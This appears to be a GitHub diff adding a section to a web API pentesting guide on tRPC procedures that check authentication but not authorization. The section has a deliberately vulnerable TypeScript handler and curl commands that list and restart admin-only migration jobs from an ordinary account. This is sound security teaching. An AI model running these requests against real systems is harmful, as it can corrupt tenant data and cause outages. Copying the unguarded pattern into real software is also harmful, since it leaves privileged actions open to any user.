You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/network-services-pentesting/pentesting-web/web-api-pentesting.md
+48-3Lines changed: 48 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -28,6 +28,53 @@ Pentesting APIs involves a structured approach to uncovering vulnerabilities. Th
28
28
-**Advanced Parameter Techniques**: Test with unexpected data types in JSON payloads or play with XML data for XXE injections. Also, try parameter pollution and wildcard characters for broader testing.
29
29
-**Version Testing**: Older API versions might be more susceptible to attacks. Always check for and test against multiple API versions.
Modern TypeScript stacks commonly use tRPC with Zod for input validation. In tRPC, `protectedProcedure` typically ensures the request has a valid session (authentication) but does not imply the caller has the right role/permissions (authorization). This mismatch leads to Broken Function Level Authorization/BOLA if sensitive procedures are only gated by `protectedProcedure`.
34
+
35
+
- Threat model: Any low-privileged authenticated user can call admin-grade procedures if role checks are missing (e.g., background migrations, feature flags, tenant-wide maintenance, job control).
36
+
- Black-box signal: `POST /api/trpc/<router>.<procedure>` endpoints that succeed for basic accounts when they should be admin-only. Self-serve signups drastically increase exploitability.
37
+
- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`.
38
+
39
+
Example vulnerable pattern (no role/permission gate):
40
+
41
+
```ts
42
+
// The endpoint for retrying a migration job
43
+
// This checks for a valid session (authentication)
44
+
retry: protectedProcedure
45
+
// but not for an admin role (authorization).
46
+
.input(z.object({ name: z.string() }))
47
+
.mutation(async ({ input, ctx }) => {
48
+
// Logic to restart a sensitive migration
49
+
}),
50
+
```
51
+
52
+
Practical exploitation (black-box)
53
+
54
+
1) Register a normal account and obtain an authenticated session (cookies/headers).
55
+
2) Enumerate background jobs or other sensitive resources via “list”/“all”/“status” procedures.
56
+
57
+
```bash
58
+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.all' \
59
+
-H 'Content-Type: application/json' \
60
+
-b '<AUTH_COOKIES>' \
61
+
--data '{"input":{}}'
62
+
```
63
+
64
+
3) Invoke privileged actions such as restarting a job:
65
+
66
+
```bash
67
+
curl -s -X POST 'https://<tenant>/api/trpc/backgroundMigrations.retry' \
68
+
-H 'Content-Type: application/json' \
69
+
-b '<AUTH_COOKIES>' \
70
+
--data '{"input":{"name":"<migration_name>"}}'
71
+
```
72
+
73
+
Impact to assess
74
+
75
+
- Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics).
76
+
- DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages.
77
+
31
78
### **Tools and Resources for API Pentesting**
32
79
33
80
-[**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs.
-[How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study)
0 commit comments